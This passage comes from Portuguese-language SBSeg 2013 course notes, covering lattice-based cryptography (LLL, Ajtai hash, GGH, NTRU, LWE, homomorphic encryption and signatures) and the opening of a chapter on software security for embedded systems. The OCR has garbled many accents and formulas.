iria terminar em tempo polinomial. Na verdade, qualquer valor estritamente menor que
1 faz com que o algoritmo termine em tempo polinomial. Com isso, criptossistemas
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Algoritmo 2.5.2 LLL

Entrada: Uma base (vq,...,vy).

Saida: Retorna uma base com o menor vetor do reticulado (VT) € com um vetor vé que
nao pode ser reduzido pela subtracdo de v;.
k=2.

Vi = V1.
enquanto k < n faca
para j=1até j=k—1 faca
Vk = Vi = LIV
se [v;I? > (5 =5, lvj_, || entdio
k=k+1.
senao
Troque vi—1 com vy.

retorne (vi,...,v,).

baseados em problemas como SVP e CVP devem ter seus pardmetros ajustados para evitar
ataques que utilizam o algoritmo LLL.

Em linhas gerais, dada uma base (vy,...,v;,), € possivel obter uma nova base satis-
fazendo a condi¢do de tamanho, simplesmente subtraindo de v maltiplos de vy, ..., vk de
modo a reduzir o valor absoluto de v. Se a condi¢dao de norma for satisfeita, verifica-se
se a condicdo de Lovdsz também € satisfeita, caso ndo seja, os vetores sdo reordenados e
novamente realiza-se a redu¢do de norma.

2.5.2. Hash baseado em reticulados

O primeiro criptossistema baseado em reticulados foi proposto por Ajtai [Ajtai
1996]. Este trabalho tem grande importincia porque a demonstracdo de seguranca foi
realizada com base no pior caso de problemas em reticulados. Isto €, inverter a fungdo de
hash em média tem a mesma dificuldade que o pior caso do problema SVP em reticulados
g-érios duais.

Especificamente, dados os inteiros n,m,d,q, é construida uma familia de hash
criptograficos, f4 : {0,....d —1}" — ZZ, indexada pela matriz A € ngm. Dado um vetor y,
temos que f4(y) = Ay (mod g). O algoritmo 2.5.3 detalha essas operacdes. Uma escolha
possivel para os pardmetros é d = 2,q = n>,m ~ 2nlogq/logd, de modo a obter um fator
de compressao de 2.

A seguranca do esquema estd no fato de que encontrar uma colisdo f4(y) = fa(y’),
implica na existéncia de um vetor pequeno, y —y’, no reticulado L (A).

Algoritmo 2.5.3 Hash de Ajtai
Entrada: Inteiros n,m,q,d > 1. Uma matriz A escolhida uniformemente em ngm. Um
vetor y € {0, ...,d — 1}".
Saida: Um vetor f(y) € Z.
retorne f(y) =A.y (mod g).

85 ©2013 SBC — Soc. Bras. de Computagdo



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

Esta proposta € bastante simples e pode ser implementada eficientemente, porém,
na prética, as funcdes de hash sdo projetadas de forma ad-hoc, sem as garantias fornecidas
por uma demonstracdo de seguranca, sendo assim mais eficientes que a construcdo de
Ajtai. Além disso, com uma quantidade suficientemente grande de valores da funcao,
um adversdrio consegue reconstruir o paralelepipedo fundamental do reticulado L (A),
permitindo encontrar colisdes facilmente. Em 2011, Stehlé e Steinfeld [Stehlé e Steinfeld
2011] propuseram uma familia mais eficiente de funcdes de hash resistentes a colisdo, cuja
construcdo serd importante para esquemas de assinatura digital, como veremos adiante.

2.5.3. Encriptaciao baseada em reticulados

2.5.3.1. GGH

O criptossistema GGH [Goldreich et al. 1997] permite compreender facilmente o
uso de reticulados no contexto de criptografia de chave publica. Este criptossistema utiliza
o conceito de ortonormalidade da base na defini¢do do par de chaves. A chave privada é
definida como uma base By do reticulado, formada por vetores quase ortogonais € com
norma pequena.

De modo geral, o criptossistema GGH funciona da seguinte maneira:

e 0 algoritmo de encriptacdo acrescenta o ruido r € R" ao texto claro m € £, gerando
o texto encriptado ¢ = m+r;

e 0 algoritmo de decriptacdo precisa ser capaz de retirar o ruido inserido. Alternati-
vamente, € preciso resolver uma instancia do problema CVP.

A figura 2.19 mostra um reticulado em dimensao 2, com base dada pelos vetores v
e v, praticamente ortogonais. J4 a figura 2.20 mostra uma base para o mesmo reticulado,
composta por vetores pouco ortogonais.

. . . . . . . . . .

. ! . . . . . . V1.
i . . . . . /
. . . . . Vz. .
Figura 2.19. Base boa Figura 2.20. Base ruim

Conforme menor a ortonormalidade da base conhecida e maior a dimensdo do
reticulado, mais dificil é o problema CVP. Desta forma, a chave publica pode ser definida
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por uma base By, do reticulado, tal que H(Bpyp) seja aproximadamente zero. Por outro
lado, com o conhecimento da chave privada By, 0 algoritmo de Babai [Babai 1986],
definido a seguir, pode ser utilizado para recuperar o texto claro.

A ideia geral do algoritmo de Babai € representar o vetor ¢ na base privada By,
resolvendo um sistema de n equagdes lineares. Como ¢ € R, para obter um elemento do
reticulado £, cada coeficiente #; € R"” é aproximado para o inteiro mais préximo a;, onde
esta operacdo de arredondamento € denotada por a; < [#;]. Este procedimento simples
funciona bem desde que a base By seja suficientemente ortonormal, reduzindo os erros

do arredondamento.

Figura 2.21. CVP com base ruim

Uma forma de atacar o criptossistema GGH € tentar melhorar a base By, ou
seja, tornar seus vetores menores € mais ortogonais. Em dimensdo 2 o problema pode
ser facilmente resolvido usando o algoritmo de Gauss (algoritmo 2.5.1). Para dimensdes
grandes o problema é considerado dificil, mas em 1982 houve grande avango, com a
publicacdo do algoritmo LLL [Lenstra et al. 1982]. Sendo assim, os parametros do
criptossistema devem ser projetados para que o algoritmo LLL ndo possa ser usado para
resolver o problema CVP.

2.5.3.2. NTRU

O criptossistema NTRU [Hoffstein et al. 1998] € construido sobre aneis polino-
miais, mas também pode ser definido com base em reticulados, isto porque o problema

Algoritmo 2.5.4 Algoritmo de Babai
Entrada: o reticulado £ de dimensao n; o vetor CByuwp = (c1,...,cy), onde ¢; € R; e uma
base Bpiy = (81, ..., S), suficientemente ortonormal.
Saida: o vetor m € L que resolve o problema CVP com relagdo a ce L.
Resolva um sistema de n equagdes, ¢ = #151 + ... + 1, 5,, nas variavéis t;, onde 1 <i<n.
parai=0atéi=nfaca
a; < |t

retorne m < a s +...a, Sy
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subjacente pode ser interpretado como sendo o SVP e o CVP. Desta maneira, a solu¢cdo
de algum desses problemas representaria um ataque ao criptossistema, de modo que os
parametros devem ser ajustados para que o algoritmo LLL ndo possa se usado para este
fim.

O criptossistema utiliza os seguintes aneis polinomiais: R = Z[x]/ xN =1, R, =
(Z/pZ)[x]/(xN -DeR,= (Z/qZ)[x]/(xN —1), onde N, p, g sdo inteiros positivos.

Definicao 18. Dados os inteiros positivos dy e d, define-se T (dy,d>) como sendo a classe
de polinomios tais que existam dy coeficientes iguais a 1, dy coeficientes iguais a —1 e
o restante dos coeficientes iguais a zero. Estes polindmios sdo denominados polindmios
ternarios.

Os parametros publicos sdo dados por (N, p,q,d), onde N e p sdo primos, (p,q) =
(N,gq)=1eqg>(6d+1)p. A chave privada corresponde aos polindmios f(x) € 7 (d+1,d)
e g(x) € 7(d,d). A chave publica € o polindmio h(x) = F4(x).g(x), onde F,(x) € o inverso
multiplicativo de f(x) em R,.

Dada uma mensagem m(x) € R, cujos coeficientes estejam no intervalo entre —p/2
e p/2, escolhe-se aleatoriamente r(x) e calcula-se o texto encriptado e(x) = ph(x).r(x) +
m(x) (mod g).

Para decriptar, primeiramente calcula-se a funcio a(x) = f(x).e(x) (mod g), de
tal modo que os coeficientes estejam entre —g/2 e ¢/2, para entdo obter novamente a
mensagem m(x), tal que m(x) = F(x).a(x) (mod p).

e GerarChaves. Escolhe-se f € 7(d +1,d) tal que f possua inversa em R, R),.
Escolhe-se também g € 7 (d,d). CalculeF, como sendo o elemento inverso de f
em R, e, analogamente, F'), o elemento inverso de f em R;,. A chave publica € dada
porh=F,.g.

e Encriptar. Dado o texto claro m € R, escolhe-se aleatoriamente r € 7 (d,d) e cal-
cule e = pr.h+m (mod g), onde & € a chave publica do destinatario.

e Decriptar. Calcule a=|f.e = pg.r+ f.m],. Finalmente, a mensagem pode ser obtida
pelo calculo m = F.a (mod p).

2.5.3.3. Encriptacao baseada no problema LWE (Learning with Errors)

Assim como o0 GGH, o NTRU ndo possui demonstragao de seguranca. Nesta se-
cdo serd apresentado o criptossistema baseado no problema LWE, que € uma proposta
eficiente e que possui demonstracdo de seguranca com base no pior caso de problemas
em reticulados [Regev 2010]. Esta demonstra¢do ¢ uma reducdo quantica, isto €, mos-
tra que uma vulnerabilidade do criptossistema implica em um algoritmo quantico para
resolver problemas em reticulados. Em 2009, Peikert mostrou uma reducao cldssica na
demonstracao de seguranca do problema LWE [Peikert 2009].
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Definicao 19. O problema LWE consiste em encontrar o vetor s € Z,,, dadas as equagoes
(s,aiy+e; =b; (mod q), para 1 <i<n. Os valores e; sdo pequenos erros que sao inseri-
dos, de acordo com uma distribuicdo D, geralmente tomada como sendo a distribuicdo
normal.

Em 2010, Lyubaskevsky, Peikert e Regev usaram aneis polinomiais para definir o
esquema RLWE [Lyubashevsky et al. 2010]. Seja f(x) = x? + 1, onde d é uma poténcia de
2. Dado um inteiro g € um elemento s € R, = Zy[x]/ f(x), 0 problema LWE em anel sobre
R, com relacdo a uma distribuicdo O, € definido equivalentemente, ou seja, € preciso
encontrar s que satisfazendo as equagdes s.a; +e; = b; (mod Ry), para 1 <i < n, onde q;
e b; sdo elementos de R, e a redu¢do modular em R, € 0 mesmo que reduzir o polindmio
resultante médulo f(x) e seus coeficientes médulo ¢g. Assim, o criptossistema baseado no
problema LWE pode ser construido da seguinte maneira:

e GerarChaves. Escolhe-se aleatoriamente a € R, e utiliza-se a distribui¢do O para
gerar s € e em R. A chave priva € dada por s, enquanto a chave publica € dada por
(a,b=a.s+e).

e Encriptar. Para encriptar d bits, é possivel interpretar esses bits como coeficientes
de um polindmio em R. O algoritmo de encriptacdo entdo escolhe r,ej,e2 € R,
usando a mesma distribuicido D e calcula (u,v) da seguinte maneira:

u=a.r+e; (mod q),
v=br+ey+|q/2].z (mod g).

e Decriptar. Por sua vez, o algoritmo de decriptacao calcula

v—u.s=(re—s.e +e)+1q/2]l.z (mod g).

De acordo com a escolha de parametros, temos que (r.e — s.ej + e2) tem tamanho
no maximo ¢/4, de modo que os bits do texto claro podem ser calculados verificando cada
coeficiente do resultado obtido. Se o coeficiente for mais préximo de 0 que de ¢/2, entdo
o bit correspondente € 0, caso contrario é 1.

Alguns conceitos desta secao, como por exemplo o uso do polindmio ciclotomico
f(x) e a distribuic@o gaussiana D, foram recentemente incorporados ao esquema NTRU,
permitindo com isso obter um esquema semanticamente seguro e eficiente para encrip-
tacdo baseada em reticulados [Stehlé e Steinfeld 2011], cujas chaves publica e privada e
algoritmos de encriptacio e decriptaco tém complexidade O(1), onde A é o pardmetro de
seguranca.

2.5.3.4. Encriptacao homomérfica

Recentemente, Gentry propds a constru¢do de um esquema de encriptacdo com-
pletamente homomorfica [Gentry 2009], resolvendo assim um problema que estava em
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aberto desde 1978, quando Rivest, Adleman e Dertouzos conjecturaram a existéncia de
homomorfismos secretos [Morais e Dahab 2012], onde a func@o de encriptagdo também
¢ um homomorfismo algébrico. Em outras palavras, é possivel somar e multiplicar textos
encriptados, de modo que, ao decripta-los, obtém-se o resultados das mesmas operagdes,
realizadas com o texto claro correspondente.

Se o espago de texto claro for dado por {0, 1}, entdo a soma de bits € equivalente a
uma disjuncdo exclusiva légica, enquanto a multiplicacdo € equivalente a uma conjuncao
16gica. Portanto, é possivel computar qualquer circuito booleano sobre dados encripta-
dos, o que permite a constru¢do de miquinas de Turing, sendo assim possivel executar
homomorficamente qualquer algoritmo com argumentos encriptados, gerando uma saida
encriptada.

Utilizando a encriptacdo homomorfica € possivel delegar a computacdo de algo-
ritmos a um servidor, mantendo o sigilo dos dados de entrada. Isto € interessante para a
computacdo em nuvem, permitindo a constru¢do de aplicagcdes como por exemplo banco
de dados encriptado, encriptacao de disco, mecanismos de busca sobre consultas encrip-
tadas, etc.

Brakerski propds o uso do problema LWE para construcdo de encriptagdo comple-
tamente homomorfica [Brakerski e Vaikuntanathan 2011], reduzindo a complexidade dos
algoritmos, realizando cada operagdo homomorfica em tempo polilogaritmico. Brakerski
utilizou uma nova maneira para gerenciar o crescimento do ruido, tornando possivel a
realizagdo de uma quantidade maior de multiplicacdes. Em especial, ele propds um algo-
ritmo para redu¢do de médulo, implicitamente reduzindo a taxa de crecimento do ruido.
Outro algoritmo proposto, a reducio de dimensdo, permitiu substituir o algoritmo de au-
toinicializag@o por um novo método, com parametros publicos menores. Todavia, mesmo
considerando as otimizacdes propostas recentemente, a encriptacdo completamente ho-
momorfica ainda ndo € pratica o suficiente.

2.5.4. Assinatura digital

Os criptossistemas GGH e NTRU podem ser transformados para construir esque-
mas de assinatura digital [Bernstein et al. 2008a]. Todavia, tais propostas ndo possuem
demonstracdo de seguranca e, de fato, existem ataques que permitem recuperar a chave
privada dada uma quantidade suficientemente grande de pares de mensagem e assina-
tura [Nguyen e Regev 2006].

Em 2007, Gentry, Peikert e Vaikuntanathan [Gentry et al. 2008] criaram um novo
tipo de fungdo al¢apdo, f, com uma propriedade extra: um algoritmo eficiente que, com
auxilio do alcapdo, retorna elementos da pré-imagem de f (preimage sampling). Para
1sso, € usada uma composi¢ao de distribuicdes normais para obter um ponto proximo a
um elemento do reticulado. Esta distrui¢do normal tem desvio padrao maior que o vetor
de norma maxima da base do reticulado, fazendo com que a reducao pelo paralelepipedo
fundamental tenha distribui¢cdo indistinguivel da uniforme. Além disso, esta construcao
ndo revela a geometria da base do reticulado, ja que a distribui¢do normal € esférica. Dada
uma mensagem m e uma funcao de hash H que mapeia textos claros em um elemento per-
tencente a imagem de f, calcula-se o ponto y = H(m). A assinatura é dada por § = f~1(y).
Para verificar se a assinatura € valida, basta calcular f(6) = H(m). Este tipo de construgao
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foi proposta por Bellare e Hogaway [Bellare e Rogaway 1995], usando fun¢des permu-
tacdo com algapao (trapdoor permutations) e modelando H como um oricula aleatdrio.
Assim, € obtido um esquema para assinatura digital com inforjabilidade existencial so-
bre ataques adaptativos de texto claro escolhido. Para contruir f, a distribui¢ao normal é
usada para gerar um ruido e, de maneira que f(e) =y, onde y = v+ e, para um ponto v es-
colhido uniformemente no reticulado. Assim, a constru¢do ¢ amparada por uma redugao
de seguranga com base no pior caso de problemas em reticulados.

Em linhas gerais, a criptografia baseada em reticulados é construida usando duas
funcdes: fa(x) = Ax (mod g) - esquema de Ajtai - e g4(s,e) = AT s+ e - problema LWE
- onde a primeira € uma fun¢do sobrejetiva e a segunda € uma func¢do injetiva. Em 2012,
Micciancio e Peikert [Micciancio e Peikert 2012] mostraram uma forma mais simples,
segura e eficiente de inverter g4 € amostrar na pré-imagem de f4, permitindo a cons-
trucdo de um esquema de assinatura digital mais eficiente. Nesta proposta, o processo
de composi¢ao das distribuicdes normais passou a permitir paralelismo (no trabalho de
Gentry, Peikert e Vaikuntanathan [Gentry et al. 2008], e trabalhos subsequentes [Stehlé
e Steinfeld 2011], esta era uma operacao inerentemente sequencial), levando a um ganho
concreto considerdvel. As melhorias descritas neste trabalho podem ser aproveitadas em
todas as aplicagdes que tém como base a inversao da funcdo g4 ou a amostragem na pré-
imagem de fj4, portanto, nao apenas € importante para assinaturas digitais, como também
para construc¢do de encriptacdo segura no modelo de ataque adaptativo de texto encriptado
escolhido (CCA-secure).

2.5.5. Outras aplicacoes

A criptografia baseada em reticulados ndo apenas € interessante porque resiste a
ataques quanticos, mas também porque tem se mostrado uma alternativa flexivel para a
constru¢do de criptossistemas. Em especial, o problema LWE sobre aneis polinomiais
tem se tornado cada vez mais importante, tendo em vista a construcio de fun¢des algapao
mais fortes, permitindo uma escolha de parametros melhor tanto para seguranga quanto
para a performance [Micciancio e Peikert 2012].

Gentry [Gentry 2013] faz uma anélise sobre quao flexivel a criptografia pode ser,
levando em consideracdo ndo somente a construcao de encriptacado completamente homo-
morfica, que permite a computacdo sobre dados encriptados, como também a questdo do
controle de acesso. Assim, a criptografia baseada em reticulados parece ser, de acordo
com Gentry, uma alternativa vidvel para explorar os limites da criptomania. Dentre outras
aplicacdes, € possivel destacar o seguinte:

e mapas multilineares. Emparelhamentos bilineares podem ser utilizados em dife-
rentes contextos, como por exemplo em criptografia baseada em identidades. A
generalizagdo do conceito, chamada de mapas multilineares, € bastante titil e, ape-
sar de ndo haver nenhum esquema proposto por um periodo, diversas aplicagcdes
foram vislumbradas. Utilizando a ideia de ruido, também usada na encriptacdo
homomorfica, Garg, Gentry e Halevi concretizaram a constru¢ao de mapas multili-
neares [Garg et al. 2013a];

e criptografia baseada em identidades. Por algum tempo, a tnica forma de cons-
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truir criptografia baseada em identidades era com o uso de emparelhamentos bili-
neares. Utilizando reticulados, diversas propostas foram feitas [Boneh et al. 2007,
Gentry et al. 2008], usando para isso um esquema dual, & = {DualKeyGen, DualEnc, DualDec},
em relacdo ao esquema descrito na se¢do 2.5.3.3. Especificamente, DualKeyGen
calcula a chave privada como sendo o erro e, escolhido pela distribui¢do normal,
enquanto a chave publica é dada por u = f4(e). Para encriptar um bit b, o algoritmo
DualEnc escolhe aleatoriamente s, escolhe x e ¢’ de acordo com a distribui¢ao nor-
mal e calcula c; = ga(s,e) e cr =ul s+e’ +b.|g/2]). O texto encriptado é {(c1,c>). Por
fim, DualDec calcula b = ¢ — el ¢;. Com isso, dada uma fun¢do de hash H, mo-
delada como um ordculo aleatério, mapeando identidades em chaves publicas do
criptossistema dual, o esquema de encriptacao baseada em identidades € construido
da seguinte maneira:

Configurar. Escolhe-se a chave ptiblica do sistema A € Z;™" e a chave mestra
como sendo o al¢apao s, de acordo com a descri¢do da secdo 2.5.4;

— Extrair. Dada uma identidade id, calcula-se u = H(id) e a chave de decriptacdo
e = f~!(u), usando o algoritmo de amostragem de pré-imagem com o alcapio
S5

— Encriptar. Dado um bit b, retorne {c1,c2) = DualEnc(u, b);

— Decriptar. Retorne DualDec(e,{cy,c2)).

e encriptacdo funcional. A encriptacdo funcional é uma nova forma de encarar
a criptografia, abrindo caminho para novas funcionalidades [Lewko et al. 2010].
Neste sistema, uma fungdo publica f(x,y) determina o que um usudrio com o co-
nhecimento da chave y pode inferir sobre um texto encriptado, denotado por c,, de
acordo com o parametro x. Neste modelo, quem encripta uma mensagem m pode,
previamente, escolher que tipo de informacao € obtida apds a decriptagdo. Além
disso, uma entidade de confianca € responsével por gerar uma chave sy, que pode
ser utilizada para decriptar c,, obtendo como retorno f(x,y), sem necessariamente
revelar informacao a respeito de m. Com esta abordagem, é possivel definir a crip-
tografia baseada em identidades como um caso especial da encriptagdo funcional,
onde x = (m,1d) e f(x,y) = m se e e somente se y =id. Em um trabalho recente [Garg
et al. 2013b], foi proposto um esquema de encriptacdo funcional com base em reti-
culados, capaz de lidar com qualquer circuito booleano de tamanho polinomial;

¢ encriptacido baseada em atributos. Este € um caso especial da encriptagdo funci-
onal, onde x = (m,¢) e f(x,y) = m se e somente se ¢(y) = 1. Isto é, a decriptacio
funciona desde que y, os atributos de quem decripta a mensagem, satisfaca o predi-
cado ¢, de modo que aquele que a encripta pode determinar uma politica de acesso
(predicado ¢) para o criptossistema. Existem propostas para realizar este tipo de
operagdo com base no problema LWE [Sahai e Waters 2012] e a construgdo de
mapas multilineares, citada acima, foi utilizada por Sahai e Waters [Gentry et al.
2013] para propor um esquema de encriptacdo baseada em atributos para qualquer
circuito booleano, mostrando mais uma vez a versatilidade da criptografia baseada
em reticulados;
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e ofuscacdo. Existem resultados negativos que mostram que a ofuscacio de codigo
¢ impossivel em um determinado modelo de seguranga. Porém, pode-se realizar a
ofuscagdo da melhor maneira possivel, levando ao conceito de indistinguibilidade
de ofuscacdo (indistinguishability obfuscation). O problema LWE foi utilizado para
construir este tipo de primitiva [Garg et al. 2013b], que € uma parte da construgao
de encriptacdo funcional. Tais construgdes, portanto, apesar de versateis, sao resul-
tados com uma importancia maior pela contribuicao tedrica do que pela praticidade
das aplicagdes.
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Abstract

Software Security is key for the overall security of information systems. Day by day,
more and more software exploitations happen and thus Software Security increasingly
relevant. At the same time, Embedded Systems are becoming not only ubiquitous but also
pervasive. As a result, it is paramount that those systems are secured. The problem,
however, is that existing solutions — as is — are inadequate to Embedded Systems. This
course therefore aims at giving an overview on the state-of-the-art of Software Security
and, subsequently, show how these solutions can be adapted and evaluated in the context
of Embedded Systems.

Resumo

Seguranga de Software é um tema central na seguranca de sistemas como um todo. Ata-
ques que exploram vulnerabilidades em codigo sdo cada vez mais frequentes e Seguranca
de Software, entdo, é cada vez mais relevante. Paralelamente, Sistemas Embarcados fa-
zem cada vez mais parte de nossas vidas e tendem a se tornar, na prdtica, onipresentes.
Assim sendo, a seguranca desses dispositivos é de suma importdncia. As propostas de
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Seguranga de Software existentes, no entanto, ndo sdo plenamente apropriadas para Sis-
temas Embarcados. Tais dispositivos possuem um grande niimero de particularidades
como restri¢coes de processamento, memoria e energia, quando comparados a computa-
dores convencionais. Consequentemente, a eficiéncia energética de Seguranga de Soft-
ware para esses Sistemas Embarcados deve ser também mensurada. O objetivo deste
capitulo é apresentar uma visdo geral da drea de Seguranga de Software e mostrar como
adaptar e avaliar as solucdes existentes no contexto de Sistemas Embarcados.

3.1. Introducao

Seguranga de Software é um tema cada vez mais relevante [Jones 2007, McGraw 2006].
Na medida em que ataques que exploram vulnerabilidades em software crescem verti-
ginosamente [Alhazmi et al. 2007], a Seguranga de Software torna-se um tema central
na segurancga de sistemas computacionais como um todo. Por essa razdo, essa tem sido
uma 4rea de pesquisa bastante ativa e inimeras técnicas foram propostas recentemente
( [Molnar et al. 2009, Wang et al. 2009, Dietz et al. 2012, Rodrigues et al. 2013], por
exemplo). A maioria destas técnicas sdo baseadas na andlise estdtica [Misra 1987], na

andlise dinamica [Bell 1999], ou na combinagdo de ambas, isto €, na andlise hibrida [Rus
et al. 2003].

Sistemas Embarcados, por outro lado, sdo sistemas especializados [Barr 1999,
Carro and Wagner 2003, Marwedel 2011]. Diferentemente de um elemento computaci-
onal convencional — voltado a aplicacdes genéricas —, um sistema embarcado dedica-se
a executar bem uma ou poucas tarefas. Isso aliado ao fato de que eles sdo comumente
inclusos em outros sistemas faz com que Sistemas Embarcados tenham suas dimensdes
reduzidas. Tal redimensionamento aliado a necessidade de redugdo de custos, por sua
vez, torna Sistemas Embarcados “pobres” de recursos computacionais [Hamacher et al.
2012].

Sistemas Embarcados sdo cada vez mais comuns em nossas vidas [Zurita ]. Eles
sdo os campedes de venda no mercado de elementos computacionais e estdo presentes em
grande parte de outros dispositivos!. Com o advento da Internet das Coisas (Internet of
Things —10T) e os smartphones tornando-se a plataforma de comunica¢do mével padrao,
a tendéncia € que Sistemas Embarcados tornem-se praticamente onipresentes.

Paralelamente a essa ubiquidade de Sistemas Embarcados — e os beneficios que
ela acarreta —, surge também certa inquietacdo. Parte dela advém da preocupacgio acerca
da Seguranca de Software [Koopman 2004, DAVID and TIRI 2005] dispositivos, dado
que maioria das propostas existentes ndo levam em consideracdo as peculiaridades de
Sistemas Embarcados e, consequentemente, ndo lhes sdo apropriadas. Por exemplo, ao
contrdrio de um computador tradicional, Sistemas Embarcados usualmente (i) possuem
menor capacidade de processamento e memoria; (ii) possuem fonte restrita de energia; e
iii) possuem um grau de rede maior [Akyildiz et al. 2002] (n@o apenas porque fazem parte
de redes cuja escala é maior, mas também porque encontram-se no nicleo das mesmas,
ndo raro exercendo também o papel de roteadores [Akyildiz et al. 2002]). No entanto, as
propostas de Seguranga de Software existentes foram concebidas para sistemas convenci-

"http://www.simoneconcepts.com/embeddedsystems/realembeddedsystems.
html
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onais e, portanto, ndo consideram essas particularidades.

Objetivos. O objetivo deste capitulo €, derradeiramente, apresentar uma visao geral dos
ataques e defesas na drea de Seguranca de Software. Em relacdo aos ataques, pretende-
se apontar os mais comuns, demonstrando seu funcionamento, potencial de impacto e
suas variacdes. No tocante a defesas, objetivamos demonstrar como ataques podem ser
evitados ou identificados, seja em tempo de compilagdo, seja em tempo de execugao.
Por fim, pretendeu-se mostrar por meio de um estudo de caso como adaptar solugdes
existentes para o contexto de Sistemas Embarcados.

Organizacao. O restante deste trabalho estd organizado da seguinte forma.

A secdo 3.2 e a secdo 3.3 discorrem mais sobre Sistemas Embarcados e Seguranca
de Software, respectivamente.

A secdo 3.4 versa sobre diversos tipos ataques. Por exemplo, sobre

1. o Estouro de Arranjo (secdo 3.4.1);
2. o Estouro de Inteiro (secao 3.4.2);

3. e o Vazamento de Endereco (secdo 3.4.3).
J4 a secdo 3.5 discorre acerca de mecanismos de defesa. Por exemplo, acerca de:

1. Aleatorizacdo de Espaco de Endereco (Address Layout Space Randomization —
ALSR) (secao 3.5.1);

2. Prevencao contra a Execu¢do de Dados (Data Execution Prevention — DEP) (se-
cdo 3.5.2);

Candrios (secao 3.5.3);

Verificagcdo de Limites de Arranjo (Array bounds-checking) (se¢ao 3.5.4);
Andlise de Intervalo (se¢do 3.5.5);

Andlise Distribuida (secao 3.5.7).

A

Ao final, apresentamos mais trés se¢des, a saber:

1. Metodologia de Avaliacdo (secdo 3.6);
2. Estudo de Caso (se¢do 3.7);

3. Conclusdes (secao 3.8).

A maioria dos titulos das se¢des supracitadas ja sugerem o seu conteido. No en-
tanto, trés delas merecem ser destacadas por apresentarem solugdes exclusivamente vol-
tadas a Sistemas Embarcados. Sdo elas as secoes 3.5.7, 3.6 € 3.7. A Analise Distribuida
(secdo 3.5.7), como ressaltamos anteriormente, explica como cruzar e extrair informa-
coes de cdodigos que sdo executados de forma distribuida, com o objetivo de aumentar a
seguranca global do sistema. Isso € interessante pois a literatura apresenta mecanismos
voltados para programas centralizados, ou seja, que sdo executados dentro de um mesmo
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n6 da rede. Ademais, essa estratégia é fundamental no contexto de Sistemas Embarcados,
pois estes sdo usualmente inseridos em um contexto de rede onde nds interagem frequen-
temente. Na Metodologia de Avaliacao (secdo 3.6) a ideia € mostrar como um mecanismo
de segurancga pode ser avaliado sob a 6tica energética. Diferentemente de solucdes volta-
das para elementos computacionais convencionais (como desktops), em que a avaliagdo
mais importante € a sobrecarga (overhead) em termos de tempo e armazenagem, aqui, a
mais relevante € a energia consumida em razao da sua escassez em Sistemas Embarcados.
E na secdo 3.7 apresentamos um estudo de caso em que ilustramos todo o processo de se
proteger um sistema embarcado, da percep¢ao do problema, passando pela concepcao da
solugdo e, por fim, sua avaliagdo.

3.2. Sistemas Embarcados

Sistemas Embarcados, também conhecidos como Sistemas Embutidos, sdo sistemas com-
putacionais dedicados que fazem parte de um sistema mais complexo. O termo embutido
significa que este sistema estd incrustado em um ambiente e que apresenta interconexdes
bem definidas. Esta dedicacdo se deve ao fato que um Sistema Embarcado implementa
uma unica fun¢@o, ou no maximo algumas poucas funcdes. Como diversos processadores
podem ser empregados, o que os diferencia € exatamente este programa dedicado. So-
mado a estas principais caracteristicas funcionais, eles devem responder a seus estimulos
ap6s um intervalo de tempo definido. Assim, os Sistemas Embarcados sdo também siste-
mas de tempo real. Por serem embutidos em algo maior, os Sistemas Embarcados devem
ser confidveis, uma vez que falhas podem comprometer esta inica fungao e por talvez ser
dificil sua substituicdo ou reconfiguragdo remota. Finalmente, os Sistemas Embarcados
sdo voltados para um mercado de alto volume, o que implica em alta competitividade
entre fornecedores e em baixo custo individual.

Podemos agora definir um Sistema Embarcado como:

Um Sistema Embarcado é um sistema computacional que implementa
um unica tarefa, dirigido (ou definido) por software, que utiliza interfaces
dedicadas, devem responder a estimulos em tempo real, serem confidveis e
serem comercialmente competitivos.

Sistemas Embarcados utilizam agressivamente plataformas de hardware, uma vez
que sdo dirigidos por software e diversas implementacdes de processadores podem ser
utilizados. Isso implica em uma forte reducdo do custo do projeto do processador, que
pode empregar circuitos integrados comerciais. O custo de hardware se concentra en-
tdo no projeto das interfaces de entrada e saida, que como s@o definidos pelo ambiente,
geralmente utilizam padrdes industriais.

Como visto na tabela 3.1, Sistemas Embarcados podem ser encontrados nos mais
variados produtos como avides, sistemas de defesa, aparelhos biomédicos, automdveis,
dispositivos de E/S, instrumentos eletronicos, aparelhos domésticos, industriais e brin-
quedos.
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Avides e Sistemas de defesa

piloto automaético, sistemas de navegacao, controle de motores,
sistemas de aterrizagem

Sistemas Biomédicos

Ultrassom e CAT, monitores para pacientes, marcapassos

Automoveis

controle do motor, sistemas ABS e de tracdo, controle de air-bags,
diagndstico embarcado

Comunicacdes e Redes

satélites, roteadores de rede, switches, modems

Wireless

Pontos de acesso, adaptadores, rede de sensores sem fio

Eletronica de Consumo

TV, tocadores de DVS e Blue-ray, fornos de micro-ondas,
cameras, linha branca

Dispositivos de E/S

teclados, mouse, impressoras, escaneadores, modems

Instrumentos Eletr6nicos

Osciloscépios, Multimetros, analisadores 16gicos

Equipamentos Industriais

controlador de elevadores, robds, sistemas de seguranca,
PLC, maquinas CNC

Escritorio

FAX, copiadoras, telefones, calculadoras, maquinas registradoras

Dispositivos Pessoais

celulares, relgio de pulso, tablets

Dispositivos Bancarios

cartdo bancdrio ou de crédito, ponto-de-venda, terminal de acesso

Brinquedos

Video games (XBox, Wii, etc.), Furby, Nintendo DS

Tabela 3.1. Exemplos de Sistemas Embarcados

3.2.1. Caracteristicas

A principal caracteristica que diferencia Sistemas Embarcados de computadores de uso
geral € a sua alta especificidade, geralmente uma tnica funcionalidade. Isso implica em
escolhas que maximizem funcionalidade e minimizem custos de fabricacdo e tempo de
desenvolvimento. Ao contrario, computadores de uso geral (ou PCs) s@o voltados a usua-
rios de perfis diversos o que leva a inclusdo de multiplas interfaces de conexao e interfaces
homem-maquina.

Processador (CPU). As plataformas de hardware para Sistemas Embarcados sdo im-
plementadas usando microprocessadores ou microcontroladores comerciais, médulos de
memoria para programa e dados, suporte para interrupgdes, temporizadores e moédulos
controladores para interfaces de entrada e saida. Na medida em que novas funcionalida-
des foram demandadas outros médulos foram adicionados como relégios de tempo real,
gerentes de energia e tensdo, e até mesmo gestores de perfis de consumo de energia.

A grande maioria dos Sistemas Embarcados utilizam microcontroladores que sao
circuitos integrados que agregam um processador, blocos de memoria para programas
e dados, gerador de clock, controlador de interrup¢des e controladores de interfaces de
entrada e saida. Fabricantes oferecem familias de microcontroladores onde em torno de
um mesmo processador diversas op¢des de memorias, entradas e saidas, e outros modulos
e que sao oferecidas em diferentes circuitos integrados.

